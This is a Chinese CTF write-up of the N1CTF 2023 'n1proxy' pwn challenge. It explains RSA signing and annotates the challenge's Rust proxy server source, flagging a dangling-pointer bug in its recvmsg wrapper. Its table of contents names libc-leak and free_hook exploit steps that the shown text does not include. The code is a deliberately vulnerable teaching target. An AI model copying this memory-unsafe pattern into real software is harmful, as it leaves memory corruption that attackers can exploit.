2023 N1CTF-n1proxy

文章目录

  • 参考
  • rsa
  • 握手
  • rust_proxy源码
  • 公匙交换和签名
  • 会话钥匙
  • 后续通信
  • 生命周期和裸指针
  • 代码审计
  • 漏洞点 libc-2.27.so
  • 大致思路(exp还有变化)
  • 调试
  • exp
    • 泄露libc
    • 写free_hook
    • 执行命令
    • exp

参考

https://github.com/Nu1LCTF/n1ctf-2023/tree/main/pwn/n1proxy
https://eqqie.cn/index.php/tag/Rust-Pwn
https://github.com/importcjj/rust-miniproxy/blob/master/docs/SOCKS5%E5%8D%8F%E8%AE%AE.md

rsa

在RSA密钥对中,通常有两个部分:公钥和私钥。公钥可以安全地分发给任何人,用于加密数据或验证签名。私钥则必须保密,用于解密数据或生成签名。在某些情况下,你可能有一个只包含公钥的密钥对象,或者同时包含公钥和私钥的密钥对象。

握手

公钥对签名进行解码的过程实际上是数字签名验证的过程,它依赖于公钥加密算法的数学原理。以下是为什么使用公钥对签名进行解码会与哈希算法处理的结果匹配的原因:

  1. 数字签名的生成:

    • 当客户端生成数字签名时,它首先使用一个安全的哈希函数(如SHA-256)对数据(例如公钥本身或其哈希值)生成一个哈希值。这个哈希值是原始数据的摘要,任何微小的变化都会导致哈希值发生显著变化。
  2. 使用私钥加密哈希值:

    • 接下来,客户端使用自己的私钥对这个哈希值进行加密,生成数字签名。在RSA算法中,这个过程实际上是将哈希值提升到模数的指数次幂然后对模数取模。
  3. 发送数据和签名:

    • 客户端将原始数据(公钥)和数字签名一起发送给服务器。
  4. 验证数字签名:

    • 服务器接收到数据和签名后,首先对相同的数据使用相同的哈希算法生成哈希值。
    • 然后,服务器使用客户端的公钥尝试对签名进行“解密”。在RSA中,这意味着将签名值进行模数的逆操作(即指数的模数逆次幂)。
  5. 匹配过程:

    • 如果签名是有效的,使用公钥解密得到的值应该与服务器自己计算的哈希值相同。这是因为私钥加密和公钥解密是互逆的操作,它们共享相同的模数(在RSA中是公钥和私钥的共同部分)。

rust_proxy源码

use aes::cipher::block_padding::Pkcs7;
use aes::cipher::generic_array::GenericArray;
use aes::cipher::typenum::U16;
use aes::cipher::typenum::U32;
use aes::cipher::BlockDecryptMut;
use aes::cipher::BlockEncryptMut;
use aes::cipher::KeyIvInit;
use aes::Aes256;
use anyhow::anyhow;
use anyhow::Result;
use cbc::Decryptor;
use cbc::Encryptor;
use lazy_static::lazy_static;
use libc::c_char;
use libc::c_int;
use libc::c_void;
use libc::in_addr_t;
use libc::iovec;
use libc::mallopt;
use libc::memcmp;
use libc::msghdr;
use libc::read;
use libc::recvfrom;
use libc::recvmsg;
use libc::sendmsg;
use libc::sendto;
use libc::size_t;
use libc::sockaddr_in;
use libc::sockaddr_un;
use libc::socket;
use libc::ssize_t;
use libc::write;
use libc::AF_INET;
use libc::AF_UNIX;
use libc::MSG_CONFIRM;
use libc::MSG_WAITALL;
use libc::SOCK_DGRAM;
use libc::SOCK_STREAM;
use rand::thread_rng;
use rand::Rng;
use rsa::pkcs1v15;
use rsa::signature::SignatureEncoding;
use rsa::signature::Signer;
use rsa::signature::Verifier;
use rsa::traits::PublicKeyParts;
use rsa::Pkcs1v15Encrypt;
use rsa::RsaPrivateKey;
use rsa::RsaPublicKey;
use sha2::Digest;
use sha2::Sha256;
use std::collections::HashMap;
use std::collections::HashSet;
use std::env;
use std::fs;
use std::mem;
use std::path::Path;
use std::process::exit;
use std::slice;
use std::sync::Arc;
use std::thread;type Aes256CbcEnc = Encryptor<Aes256>;
type Aes256CbcDec = Decryptor<Aes256>;const HELLO_MSG: &str = "n1proxy server v0.1";
const CLIENT_HELLO: &str = "n1proxy client v0.1";const KEY_BITS: usize = 4096;
const MAX_STREAM: usize = 30;
const TOTAL_STREAM: usize = MAX_STREAM;#[derive(Debug, Clone)]
struct SessionKey {key: Vec<u8>,iv: Vec<u8>,
}impl SessionKey {pub fn to_bytes(&self) -> Vec<u8> {let mut res = self.key.clone();res.extend(self.iv.clone());res}
}lazy_static! {static ref PRIV_KEY: Arc<RsaPrivateKey> = Arc::new({let mut rng = rand::thread_rng();RsaPrivateKey::new(&mut rng, KEY_BITS).expect("failed to generate a key")});static ref CLIENT_KEY: parking_lot::Mutex<HashMap<RsaPublicKey, SessionKey>> =parking_lot::Mutex::new(HashMap::new());static ref CLIENT_STREAM: parking_lot::Mutex<HashMap<RsaPublicKey, HashSet<i32>>> =parking_lot::Mutex::new(HashMap::new());
}#[allow(dead_code)]
#[derive(Debug)]
enum ConnType {New = 0,Restore = 1,Renew = 2,Restart = 114514,Unknown = 3,
}impl ConnType {pub fn from_le_bytes(data: &[u8]) -> ConnType {let data = u32::from_le_bytes(match data.try_into() {Ok(data) => data,Err(_) => return ConnType::Unknown,});match data {0 => ConnType::New,1 => ConnType::Restore,2 => ConnType::Renew,_ => ConnType::Unknown,}}
}
#[derive(Debug)]
enum ProxyType {Tcp = 0,Udp = 1,Sock = 2,Unknown = 3,
}
#[derive(Debug)]
enum ProxyStatus {Send = 0,Recv = 1,Conn = 2,Close = 3,Listen = 4,Unknown = 5,
}impl ProxyType {pub fn from_le_bytes(data: &[u8]) -> ProxyType {let data = u32::from_le_bytes(match data.try_into() {Ok(data) => data,Err(_) => return ProxyType::Unknown,});match data {0 => ProxyType::Tcp,1 => ProxyType::Udp,2 => ProxyType::Sock,_ => ProxyType::Unknown,}}
}impl ProxyStatus {pub fn from_le_bytes(data: &[u8]) -> ProxyStatus {let data = u32::from_le_bytes(match data.try_into() {Ok(data) => data,Err(_) => return ProxyStatus::Unknown,});match data {0 => ProxyStatus::Send,1 => ProxyStatus::Recv,2 => ProxyStatus::Conn,3 => ProxyStatus::Close,4 => ProxyStatus::Listen,_ => ProxyStatus::Unknown,}}
}macro_rules! os_error {() => {Err(std::io::Error::last_os_error().into())};
}extern "C" {fn inet_addr(__cp: *const c_char) -> in_addr_t;
}#[inline(always)]
fn my_write(fd: c_int, buf: *const c_void, count: size_t) -> Result<ssize_t> {let res = unsafe { write(fd, buf, count) };if res < 0 {Err(anyhow!("Failed to write to socket"))} else {Ok(res)}
}#[inline(always)]
fn my_read(fd: c_int, buf: *mut c_void, count: size_t) -> Result<ssize_t> {let res = unsafe { read(fd, buf, count) };if res < 0 {Err(anyhow!("Failed to read from socket"))} else {Ok(res)}
}fn my_connect(target_ip: &str, target_port: u16) -> Result<i32> {let target_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };let target_ip = target_ip.to_owned() + "\0";let mut target: sockaddr_in = unsafe { mem::zeroed() };target.sin_family = libc::AF_INET as u16;target.sin_addr.s_addr = unsafe { inet_addr(target_ip.as_ptr() as *const _) };target.sin_port = target_port.to_be();let res = unsafe {libc::connect(target_fd,&target as *const _ as *const _,mem::size_of_val(&target) as u32,)};if res < 0 {return os_error!();}Ok(target_fd)
}// record fd and target addr
lazy_static! {static ref UDP_TARGET: parking_lot::Mutex<HashMap<i32, sockaddr_in>> =parking_lot::Mutex::new(HashMap::new());
}#[inline(always)]
fn my_new_udp_connect(target_ip: &str, target_port: u16) -> Result<i32> {let sockfd = unsafe { socket(AF_INET, SOCK_DGRAM, 0) };if sockfd <= 0 {return os_error!();}let mut server_addr: sockaddr_in = unsafe { mem::zeroed() };let target_ip = target_ip.to_owned() + "\0";server_addr.sin_family = AF_INET as u16;server_addr.sin_addr.s_addr = unsafe { inet_addr(target_ip.as_ptr() as *const _) };server_addr.sin_port = target_port.to_be();let res = unsafe {libc::connect(sockfd,&server_addr as *const _ as *const _,mem::size_of_val(&server_addr) as u32,)};if res < 0 {return os_error!();}UDP_TARGET.lock().insert(sockfd, server_addr);Ok(sockfd)
}#[inline(always)]
fn my_sendto(fd: i32, msg: &[u8]) -> Result<isize> {let target = *UDP_TARGET.lock().get(&fd).ok_or_else(|| anyhow!("Invalid fd"))?;let res = unsafe {sendto(fd,msg.as_ptr() as *const _ as *const _,msg.len(),MSG_CONFIRM,&target as *const _ as *const _,mem::size_of_val(&target) as u32,)};if res < 0 {return os_error!();}Ok(res)
}#[inline(always)]
fn my_recvfrom(fd: i32, recv_size: usize) -> Result<Vec<u8>> {let mut target = *UDP_TARGET.lock().get(&fd).ok_or_else(|| anyhow!("Invalid fd"))?;let mut res_msg = vec![0u8; recv_size];let mut addr_len = mem::size_of_val(&target) as u32;let recv_size = unsafe {recvfrom(fd,res_msg.as_mut_ptr() as *mut _,recv_size,MSG_WAITALL,&mut target as *mut _ as *mut _,&mut addr_len,)};if recv_size < 0 {return os_error!();}Ok(res_msg.to_vec())
}const SOCKET_DIR: &str = "/tmp/n1proxy";lazy_static! {static ref LISTEN_SOCK: parking_lot::Mutex<HashMap<String, (i32, Vec<i32>)>> =parking_lot::Mutex::new(HashMap::new());
}fn hash_filename(path: &str, target_port: u16) -> String {Sha256::digest(format!("{}-{}", path, target_port)).iter().map(|b| format!("{:02x}", b)).collect::<Vec<_>>().join("")
}
#[inline(always)]
fn new_unix_socket_listen(path: &str, target_port: u16) -> Result<i32> {let socket_path = Path::new(SOCKET_DIR);if !socket_path.exists() {fs::create_dir_all(socket_path).expect("Failed to create socket dir");}let real_path = socket_path.join(hash_filename(path, target_port));println!("Socket path {:?}", real_path);let (sockfd, _) = LISTEN_SOCK.lock().get(&real_path.as_os_str().to_string_lossy().to_string()).map(|f| {println!("cached fd");Ok(f.to_owned())}).unwrap_or_else(|| {println!("create new unix socket");let sockfd = unsafe { socket(AF_UNIX, SOCK_STREAM, 0) };if sockfd <= 0 {return os_error!();}let mut sock: sockaddr_un = unsafe { mem::zeroed() };sock.sun_family = AF_UNIX as u16;let path: String = real_path.as_os_str().to_string_lossy().to_string() + "\0";if path.len() > sock.sun_path.len() {return Err(anyhow!("Socket path too long"));}unsafe {libc::strcpy(sock.sun_path.as_mut_ptr(), path.as_ptr() as *const _);}let res = unsafe { //绑定套接字和套接字文件地址结构libc::bind(sockfd,&sock as *const _ as *const _,mem::size_of_val(&sock) as u32,)};if res < 0 {unsafe {libc::close(sockfd);}println!("Failed to bind socket");return os_error!();}let res = unsafe { libc::listen(sockfd, 100) };if res < 0 {unsafe {libc::close(sockfd);}println!("Failed listen socket");return os_error!();}Ok((sockfd, vec![]))})?;let client_fd = unsafe { libc::accept(sockfd, std::ptr::null_mut(), std::ptr::null_mut()) };if client_fd < 0 {unsafe {libc::close(sockfd);}return os_error!();}LISTEN_SOCK.lock().entry(real_path.as_os_str().to_string_lossy().to_string()).or_insert((sockfd, vec![])).1.append(&mut vec![client_fd]);// 键为real_path,值为一个元组,// 包含两个元素:sockfd(Unix域套接字的监听文件描述符)和一个空向量vec![](用于存储从监听套接字上接受到的客户端连接的文件描述符)。// .1表示访问元组的第二个元素,即存储客户端连接文件描述符的向量。append方法将包含client_fd的新向量追加到现有的客户端连接列表中Ok(client_fd)
}#[inline(always)]
fn new_unix_socket_connect(path: &str, target_port: u16) -> Result<i32> { //连接之前的在服务器开启listen的监听套接字,返回服务端套接字let sockfd = unsafe { socket(AF_UNIX, SOCK_STREAM, 0) };if sockfd <= 0 {return os_error!();}let mut sock: sockaddr_un = unsafe { mem::zeroed() };sock.sun_family = AF_UNIX as u16;let path = Path::new(SOCKET_DIR).join(hash_filename(path, target_port)).to_string_lossy().to_string()+ "\0";println!("connect socket path {:?}", path);if path.len() > sock.sun_path.len() {return Err(anyhow!("Socket path too long"));}unsafe {libc::strcpy(sock.sun_path.as_mut_ptr(), path.as_ptr() as *const _);}let res = unsafe {libc::connect(sockfd,&sock as *const _ as *const _,mem::size_of_val(&sock) as u32,)};
//  connect 是一个系统调用函数,用于建立与指定套接字地址的连接。在 Unix 系统中,它的函数原型如下:
// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
// sockfd是要连接的套接字文件描述符。
// addr是指向 sockaddr 结构体的指针,它包含了要连接的目标地址信息。对于 Unix 域套接字,这个结构体是 sockaddr_un。
// addrlen是 sockaddr 结构体的长度(以字节为单位)。if res < 0 {unsafe {libc::close(sockfd);}return os_error!();}Ok(sockfd) //返回目标套接字
}#[inline(always)]
fn my_send_msg(fd: i32, msg: &[u8]) -> Result<isize> {let mut iov = vec![iovec {iov_base: msg.as_ptr() as *mut _,  iov_len: msg.len(),}];let m = msghdr {msg_name: std::ptr::null_mut(),msg_namelen: 0,msg_iov: iov.as_mut_ptr(),msg_iovlen: iov.len(),msg_control: std::ptr::null_mut(),msg_controllen: 0,msg_flags: 0,};let send_res = unsafe { sendmsg(fd, &m, 0) }; //发送 msghdr 结构中 msg_iov 字段指向的数据if send_res < 0 {return os_error!();}Ok(send_res)
}#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {let mut recv_iov = [iovec {iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,  //生命周期问题导致存在悬挂指针iov_len: recv_size,}];let mut msg = msghdr {msg_name: std::ptr::null_mut(),msg_namelen: 0,msg_iov: recv_iov.as_mut_ptr(),msg_iovlen: 1,msg_control: std::ptr::null_mut(),msg_controllen: 0,msg_flags: 0,};let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) }; // 存到recv_iov[0].iov_base if recv_sz < 0 {return os_error!();}let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };Ok(res.to_vec()) 
}#[inline(always)]
fn now_timestamp() -> u64 {let now = std::time::SystemTime::now();now.duration_since(std::time::UNIX_EPOCH).expect("Time went backwards").as_secs()
}fn session_dec(keys: SessionKey, msg: &[u8]) -> Result<Vec<u8>> {if msg.len() % 16 != 0 {return Err(anyhow!("Invalid message length"));}let key = GenericArray::<_, U32>::from_slice(keys.key.get(0..32).ok_or_else(|| anyhow!("Invalid key length {}", keys.key.len()))?,);let iv = GenericArray::<_, U16>::from_slice(keys.iv.get(0..16).ok_or_else(|| anyhow!("Invalid iv length {}", keys.iv.len()))?,);let mut msg = msg.to_vec();let dec = match Aes256CbcDec::new(key, iv).decrypt_padded_mut::<Pkcs7>(&mut msg) {Ok(dec) => dec,Err(err) => return Err(anyhow!("Failed to decrypt message {}", err)),};Ok(dec.to_vec())
}fn session_enc(keys: SessionKey, msg: &[u8]) -> Result<Vec<u8>> {let key = GenericArray::<_, U32>::from_slice(keys.key.get(0..32).ok_or_else(|| anyhow!("Invalid key length {}", keys.key.len()))?,);let iv = GenericArray::<_, U16>::from_slice(keys.iv.get(0..16).ok_or_else(|| anyhow!("Invalid iv length {}", keys.iv.len()))?,);let mut msg = msg.to_vec();let msg_len = msg.len();let padding_len = (16 - (msg_len % 16)) % 16;msg.extend(vec![padding_len as u8; padding_len]);let enc = match Aes256CbcEnc::new(key, iv).encrypt_padded_mut::<Pkcs7>(&mut msg, msg_len) {Ok(enc) => enc,Err(err) => return Err(anyhow!("Failed to encrypt message {}", err)),};Ok(enc.to_vec())
}fn handle_client(stream_fd: i32) -> Result<()> {my_write(stream_fd,HELLO_MSG.as_ptr() as *const c_void,HELLO_MSG.len() as size_t,)?;let mut client_hello = [0; CLIENT_HELLO.len()];my_read(stream_fd,client_hello.as_mut_ptr() as *mut c_void,client_hello.len() as size_t,)?;let res = unsafe {memcmp(client_hello.as_ptr() as *const c_void,CLIENT_HELLO.as_ptr() as *const c_void,CLIENT_HELLO.len() as size_t,)};if res != 0 {return Err(anyhow!("Invalid client hello"));}println!("Client connected");let mut conn_type = vec![0; 4];my_read(stream_fd,conn_type.as_mut_ptr() as *mut c_void,conn_type.len() as size_t,)?;let conn_type = ConnType::from_le_bytes(&conn_type);println!("Connection type {:?}", conn_type);let pri_key = PRIV_KEY.as_ref().clone();let pub_key = RsaPublicKey::from(&pri_key);let pub_key_n = pub_key.n().to_bytes_be();let pub_key_e = pub_key.e().to_bytes_be();let key_exchange = vec![pub_key_n.len().to_le_bytes().to_vec(),pub_key_e.len().to_le_bytes().to_vec(),pub_key_n,pub_key_e,].concat();let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key.clone());let key_exchange_sign = signing_key.sign(&key_exchange).to_bytes();let key_exchange_sign = vec![key_exchange_sign.len().to_le_bytes().to_vec(),key_exchange_sign.to_vec(),].concat();println!("Sending key exchange");my_write(stream_fd,key_exchange_sign.as_ptr() as *const c_void,key_exchange_sign.len() as size_t,)?;my_write(stream_fd,key_exchange.as_ptr() as *const c_void,key_exchange.len() as size_t,)?;let mut client_msg_len = [0; 8];my_read(stream_fd,client_msg_len.as_mut_ptr() as *mut c_void,client_msg_len.len() as size_t,)?;let client_verify_len = u64::from_le_bytes(client_msg_len) as usize;println!("Client verify len {}", client_verify_len);let mut client_verify = vec![0; client_verify_len];my_read(stream_fd,client_verify.as_mut_ptr() as *mut c_void,client_verify.len() as size_t,)?;my_read(stream_fd,client_msg_len.as_mut_ptr() as *mut c_void,client_msg_len.len() as size_t,)?;let client_key_len = u64::from_le_bytes(client_msg_len) as usize;let mut client_key_n = vec![0; client_key_len];println!("Client key n len {}", client_key_len);my_read(stream_fd,client_key_n.as_mut_ptr() as *mut c_void,client_key_n.len() as size_t,)?;my_read(stream_fd,client_msg_len.as_mut_ptr() as *mut c_void,client_msg_len.len() as size_t,)?;let client_key_len = u64::from_le_bytes(client_msg_len) as usize;println!("Client key e len {}", client_key_len);let mut client_key_e = vec![0; client_key_len];my_read(stream_fd,client_key_e.as_mut_ptr() as *mut c_void,client_key_e.len() as size_t,)?;let client_key = RsaPublicKey::new(rsa::BigUint::from_bytes_be(&client_key_n),rsa::BigUint::from_bytes_be(&client_key_e),)?;let client_verify_key = pkcs1v15::VerifyingKey::<Sha256>::new(client_key.clone());let signature = pkcs1v15::Signature::try_from(&*client_verify)?;client_verify_key.verify(&vec![client_key_n.len().to_le_bytes().to_vec(),client_key_n,client_key_e.len().to_le_bytes().to_vec(),client_key_e,].concat(),&signature,).map_err(|_| anyhow!("Invalid client key"))?;let session_key = match conn_type {ConnType::New | ConnType::Renew => {let session_key = SessionKey {key: thread_rng().gen::<[u8; 32]>().to_vec(),iv: thread_rng().gen::<[u8; 16]>().to_vec(),};//thread_rng() 函数用于获取线程本地的随机数生成器(ThreadRng)//分别生成32字节的密钥和16字节的初始化向量(IV),它们被用于会话中的对称加密。这些值存储在SessionKey结构体中。CLIENT_KEY.lock().insert(client_key.clone(), session_key.clone());println!("gen new key {:?}", session_key);let enc_key =client_key.encrypt(&mut thread_rng(), Pkcs1v15Encrypt, &session_key.to_bytes())?;//客户端的公钥(client_key)和非对称加密算法(在这里是Pkcs1v15Encrypt)来加密session_keylet enc_time = client_key.encrypt(&mut thread_rng(),Pkcs1v15Encrypt,&now_timestamp().to_le_bytes(),)?;let new_session = vec![enc_key.len().to_le_bytes().to_vec(),enc_key,enc_time.len().to_le_bytes().to_vec(),enc_time,].concat();//加密后的会话密钥和时间戳组合let new_session_sign = signing_key.sign(&new_session).to_bytes();//私钥(signing_key)对整个new_session消息进行签名let new_session_sign = vec![new_session_sign.len().to_le_bytes().to_vec(),new_session_sign.to_vec(),].concat();my_write(stream_fd,new_session_sign.as_ptr() as *const c_void,new_session_sign.len() as size_t,)?;my_write(stream_fd,new_session.as_ptr() as *const c_void,new_session.len() as size_t,)?;println!("Sending new session finished");session_key}ConnType::Restore => {let session_keys = CLIENT_KEY.lock();let session_key = session_keys.get(&client_key).ok_or_else(|| anyhow!("Invalid client key"))?;session_key.clone()}ConnType::Unknown => {return Err(anyhow!("Invalid connection type"));}ConnType::Restart => {exit(0);}};let mut pre_conn = vec![0; 2048];let recv_res = my_read(stream_fd,pre_conn.as_mut_ptr() as *mut c_void,pre_conn.len() as size_t,)?;pre_conn.resize(recv_res as usize, 0);let pre_conn = session_dec(session_key.clone(), &pre_conn)?;//解密if pre_conn.len() < 16 {return Err(anyhow!("Invalid pre connection data"));}let conn_type = ProxyType::from_le_bytes(&pre_conn[0..4]);let status = ProxyStatus::from_le_bytes(&pre_conn[4..8]);//println!("Conn type {:?} status {:?}", conn_type, status);let signature = pkcs1v15::Signature::try_from(&pre_conn[8..])?;client_verify_key.verify(&pre_conn[0..8], &signature).map_err(|_| anyhow!("Invalid client key"))?;let ok_msg = vec![0; 4];let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key.clone());let key_exchange_sign = signing_key.sign(&ok_msg).to_bytes();let ok_msg = vec![ok_msg,key_exchange_sign.len().to_le_bytes().to_vec(),key_exchange_sign.to_vec(),].concat();let ok_msg = session_enc(session_key.clone(), &ok_msg)?;my_write(stream_fd,ok_msg.as_ptr() as *const c_void,ok_msg.len() as size_t,)?;let res_msg = match status {ProxyStatus::Send => {let mut conn_data = vec![0; 2048];let recv_res = my_read(stream_fd,conn_data.as_mut_ptr() as *mut c_void,conn_data.len() as size_t,)?;conn_data.resize(recv_res as usize, 0);let conn_data = session_dec(session_key.clone(), &conn_data)?;if conn_data.len() < 32 {return Err(anyhow!("Invalid data"));}let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);if CLIENT_STREAM.lock().get(&client_key).and_then(|fds| fds.contains(&target_fd).then_some(0)).is_none(){return Err(anyhow!("Invalid fd: {}", target_fd));}let mut send_data_size = usize::from_le_bytes(conn_data[4..12].try_into()?);let mut send_data = vec![];let mut remain_data = vec![];if send_data_size <= conn_data.len() - 12 {send_data.extend(conn_data[12..(12 + send_data_size)].to_vec());remain_data = conn_data[(12 + send_data_size)..].to_vec();if remain_data.len() < 512 {let mut send_data_part = vec![0; 512];let recv_res = my_read(  //没发送完,分了两次发过来 签名长度一般大于等于512stream_fd,send_data_part.as_mut_ptr() as *mut c_void,send_data_part.len() as size_t,)?;send_data_part.resize(recv_res as usize, 0);let send_data_part = session_dec(session_key.clone(), &send_data_part)?;remain_data.extend(send_data_part);}send_data_size = 0;} else {send_data.extend(conn_data[12..].to_vec());send_data_size -= conn_data.len() - 12; //还不够数据的长度,下次发送过来还会有数据部分}if send_data_size > 0 {  //还有数据部分没有发送过来// ensure read signaturelet mut send_data_part = vec![0; send_data_size + 0x2000];let recv_res = my_read(stream_fd,send_data_part.as_mut_ptr() as *mut c_void,send_data_part.len() as size_t,)?; send_data_part.resize(recv_res as usize, 0);let send_data_part = session_dec(session_key.clone(), &send_data_part)?;send_data.extend(send_data_part[0..send_data_size].to_vec());remain_data.extend(send_data_part[send_data_size..].to_vec());}let signature = pkcs1v15::Signature::try_from(&*remain_data)?;client_verify_key.verify(&vec![target_fd.to_le_bytes().to_vec(),send_data.len().to_le_bytes().to_vec(),send_data.clone(),].concat(),&signature,).map_err(|_| anyhow!("Invalid client key"))?;println!("Send data to fd {} size {}", target_fd, send_data.len());let send_res = match conn_type {ProxyType::Tcp => my_write(target_fd,send_data.as_ptr() as *const c_void,send_data.len() as size_t,)?,ProxyType::Udp => my_sendto(target_fd, &send_data)?,ProxyType::Sock => my_send_msg(target_fd, &send_data)?,//服务器将客户端发送过来的数据发送给目标套接字ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),};send_res.to_le_bytes().to_vec()}ProxyStatus::Recv => {let mut conn_data = vec![0; 2048];let recv_res = my_read(stream_fd,conn_data.as_mut_ptr() as *mut c_void,conn_data.len() as size_t,)?;conn_data.resize(recv_res as usize, 0);let conn_data = session_dec(session_key.clone(), &conn_data)?;if conn_data.len() < 32 {return Err(anyhow!("Invalid data"));}let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);if CLIENT_STREAM.lock().get(&client_key).and_then(|fds| fds.contains(&target_fd).then_some(0)).is_none(){return Err(anyhow!("Invalid fd: {}", target_fd));}let recv_data_size = u64::from_le_bytes(conn_data[4..12].try_into()?);println!("Recv data from fd {} size {}", target_fd, recv_data_size);let signature = pkcs1v15::Signature::try_from(&conn_data[12..])?;client_verify_key.verify(&conn_data[0..12], &signature).map_err(|_| anyhow!("Invalid client key"))?;let recv_data = match conn_type { //得到返回数据ProxyType::Tcp => {let mut recv_data = vec![0; recv_data_size as usize];let recv_sz = my_read(target_fd,recv_data.as_mut_ptr() as *mut c_void,recv_data.len() as size_t,)?;recv_data.resize(recv_sz as usize, 0);recv_data}ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),};println!("succ recv data from fd {} size {}",target_fd,recv_data.len());vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()  //返回 len+data然后和主函数里签名一起加密发送客户端}ProxyStatus::Conn => {let mut conn_data = vec![0; 2048];let recv_res = my_read(stream_fd,conn_data.as_mut_ptr() as *mut c_void,conn_data.len() as size_t,)?;conn_data.resize(recv_res as usize, 0);let conn_data = session_dec(session_key.clone(), &conn_data)?;if conn_data.len() < 64 {return Err(anyhow!("Invalid pre connection data"));}let target_host_len = u32::from_le_bytes(conn_data[0..4].try_into()?);let target_host =String::from_utf8(conn_data[4..(4 + target_host_len) as usize].to_vec())?;println!("Target host len {:?}",conn_data[4..(4 + target_host_len) as usize].to_vec());let mut next_index = 4 + target_host_len as usize;let target_port =u16::from_le_bytes(conn_data[next_index..(next_index + 2)].try_into()?);next_index += 2;println!("Target host {} {} port {}",target_host_len, target_host, target_port);let signature = pkcs1v15::Signature::try_from(&conn_data[next_index..])?;client_verify_key.verify(&conn_data[0..next_index], &signature).map_err(|_| anyhow!("Invalid client key"))?;let conn_fd = match conn_type {ProxyType::Tcp => my_connect(&target_host, target_port)?,ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?,ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?,ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),};let mut lock = CLIENT_STREAM.lock();let total_stream_count = lock.values().map(|fds| fds.len()).sum::<usize>();if total_stream_count >= TOTAL_STREAM {unsafe {libc::close(conn_fd);}return Err(anyhow!("Too many streams"));}let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);if client_streams.len() >= MAX_STREAM {unsafe {libc::close(conn_fd);}return Err(anyhow!("Too many streams"));}client_streams.insert(conn_fd);println!("New conn fd {}", conn_fd);conn_fd.to_le_bytes().to_vec()}ProxyStatus::Close => {let mut conn_data = vec![0; 2048];let recv_res = my_read(stream_fd,conn_data.as_mut_ptr() as *mut c_void,conn_data.len() as size_t,)?;conn_data.resize(recv_res as usize, 0);let conn_data = session_dec(session_key.clone(), &conn_data)?;if conn_data.len() < 32 {return Err(anyhow!("Invalid pre connection data"));}let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);let signature = pkcs1v15::Signature::try_from(&conn_data[4..])?;client_verify_key.verify(&conn_data[0..4], &signature).map_err(|_| anyhow!("Invalid client key"))?;let mut lock = CLIENT_STREAM.lock();let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);if client_streams.contains(&target_fd) {unsafe {libc::close(target_fd);}client_streams.remove(&target_fd);}match conn_type {ProxyType::Udp => {UDP_TARGET.lock().remove(&target_fd);}ProxyType::Sock => {let mut socks = LISTEN_SOCK.lock();socks.iter_mut().for_each(|(k, (i, v))| {v.retain(|f| *f != target_fd);if v.is_empty() {unsafe {libc::close(*i);}fs::remove_file(k).ok();}});socks.retain(|_, (_, v)| !v.is_empty());}_ => (),};0u32.to_le_bytes().to_vec()}ProxyStatus::Listen => {let mut conn_data = vec![0; 2048];let recv_res = my_read(stream_fd,conn_data.as_mut_ptr() as *mut c_void,conn_data.len() as size_t,)?;conn_data.resize(recv_res as usize, 0);let conn_data = session_dec(session_key.clone(), &conn_data)?;if conn_data.len() < 64 {return Err(anyhow!("Invalid pre connection data"));}let target_host_len = u32::from_le_bytes(conn_data[0..4].try_into()?);let target_host =String::from_utf8(conn_data[4..(4 + target_host_len) as usize].to_vec())?;let mut next_index = 4 + target_host_len as usize;let target_port =u16::from_le_bytes(conn_data[next_index..(next_index + 2)].try_into()?);next_index += 2;let signature = pkcs1v15::Signature::try_from(&conn_data[next_index..])?;client_verify_key.verify(&conn_data[0..next_index], &signature).map_err(|_| anyhow!("Invalid client key"))?;let conn_fd = match conn_type {ProxyType::Sock => new_unix_socket_listen(&target_host, target_port)?,_ => return Err(anyhow!("Invalid conn type")),}; //得到连接代理服务器的客户端套接字let mut lock = CLIENT_STREAM.lock();let total_stream_count = lock.values().map(|fds| fds.len()).sum::<usize>();if total_stream_count >= TOTAL_STREAM {unsafe {libc::close(conn_fd);}return Err(anyhow!("Too many streams"));}let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);if client_streams.len() >= MAX_STREAM {unsafe {libc::close(conn_fd);}return Err(anyhow!("Too many streams"));}client_streams.insert(conn_fd);println!("New listen fd {}", conn_fd);conn_fd.to_le_bytes().to_vec()} //返回连接服务端和客户套接字最后ProxyStatus::Unknown => {return Err(anyhow!("Invalid conn type"));}};let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key);let key_exchange_sign = signing_key.sign(&res_msg).to_bytes();let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();let res_msg = session_enc(session_key, &res_msg)?;my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;Ok(())
